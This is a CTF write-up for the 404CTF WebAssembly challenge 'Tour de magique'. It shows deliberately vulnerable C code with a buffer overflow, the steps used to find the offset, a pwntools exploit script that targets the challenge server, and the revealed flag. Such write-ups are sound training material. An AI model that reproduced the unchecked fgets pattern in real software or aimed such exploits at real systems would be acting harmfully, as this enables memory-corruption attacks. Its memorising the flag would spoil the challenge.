Tour de magique
We can download the zip file tour-de-magie.zip from the challenge.
After unzipping the downloaded file, it appears that the files provided are intended for running WebAssembly code. The main code is stored in the main.c
file. To test the program, we can use the command wasmtime main.wasm
in the terminal. This command executes the WebAssembly module main.wasm using the wasmtime runtime environment. This way, we can run and observe the behavior of the WebAssembly program.
WebAssembly
is a new type of code that can be run in modern web browsers — it is a low-level assembly-like language with a compact binary format that runs with near-native performance and provides languages such asC/C++
,C#
andRust
with a compilation target so that they can run on the web. It is also designed to run alongsideJavaScript
, allowing both to work together.
After analyzing the code, I realize that there is a simple Buffer Overflow (BOF) vulnerability. From this information, I can construct a payload to exploit the vulnerability and retrieve the flag.
main.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#include<stdlib.h>
#include<stdio.h>
int main() {
int* check = malloc(sizeof(int));
*check = 0xcb0fcb0f;
puts("Alors, t'es un magicien ?");
char input[20];
fgets(input, 200, stdin);
if(*check == 0xcb0fcb0f) {
puts("Apparemment non...");
exit(0);
}
if(*check != 0xcb0fcb0f && *check != 0x50bada55) {
puts("Pas mal, mais il en faut plus pour m'impressionner !");
exit(0);
}
if(*check == 0x50bada55) {
puts("Wow ! Respect ! Quelles paroles enchantantes ! Voilà ta récompense...");
FILE* f = fopen("flag.txt", "r");
if(f == NULL) {
puts("Erreur lors de l'ouverture du flag, contactez un administrateur !");
exit(1);
}
char c;
while((c = fgetc(f)) != -1) {
putchar(c);
}
fclose(f);
}
}
From the source code, we can see that:
The size of input
is 20, but fgets
permits an entry of 200 characters. Therefore, we can make a BOF (Buffer-Overflows) here. We see that *check
is declared before input
, so we exploit this BOF to overwrite the desired value to *check.
Create the payload:
Our goal is to modify the value of *check
to 0x50bada55
to get the flag.
Since it takes 21 characters to generate a BOF, I will try the following
It is clear that 21 is not enough for us to reach the value of *check. So we will keep adding A until we get the following result
Then replace the last 4 A’s with the letter B and see the result
Pay attention to the last line 42414141
, 42
is the ascii value of character B
and 41
is for character A
. It seems that the 17-20th
characters in the 23 characters string will overwrite the value of the variable *check.
As a result, the payload can be constructed as follows:
payload = b'A' * 16 + b'\x55\xda\xba\x50' + b'AAA'
Here is my exploitation code:
1
2
3
4
5
6
7
8
9
10
from pwn import *
# p = process(["./wasmtime","main.wasm"])
p = remote("challenges.404ctf.fr",30274)
p.recvuntil(b'magicien ?')
p.sendline(b'A'*16+p32(0x50bada55)+b'AAA')
print(p.recvall().decode())
1
2
3
4
5
6
7
$ python3 exploit.py
[+] Opening connection to challenges.404ctf.fr on port 30274: Done
[+] Receiving all data: Done (119B)
[*] Closed connection to challenges.404ctf.fr port 30274
Wow ! Respect ! Quelles paroles enchantantes ! Voilà ta récompense...
404CTF{W0w_St4Ck_3cR4s3_l4_H34P_Qu3LL3_M4G13}
Flag: 404CTF{W0w_St4Ck_3cR4s3_l4_H34P_Qu3LL3_M4G13}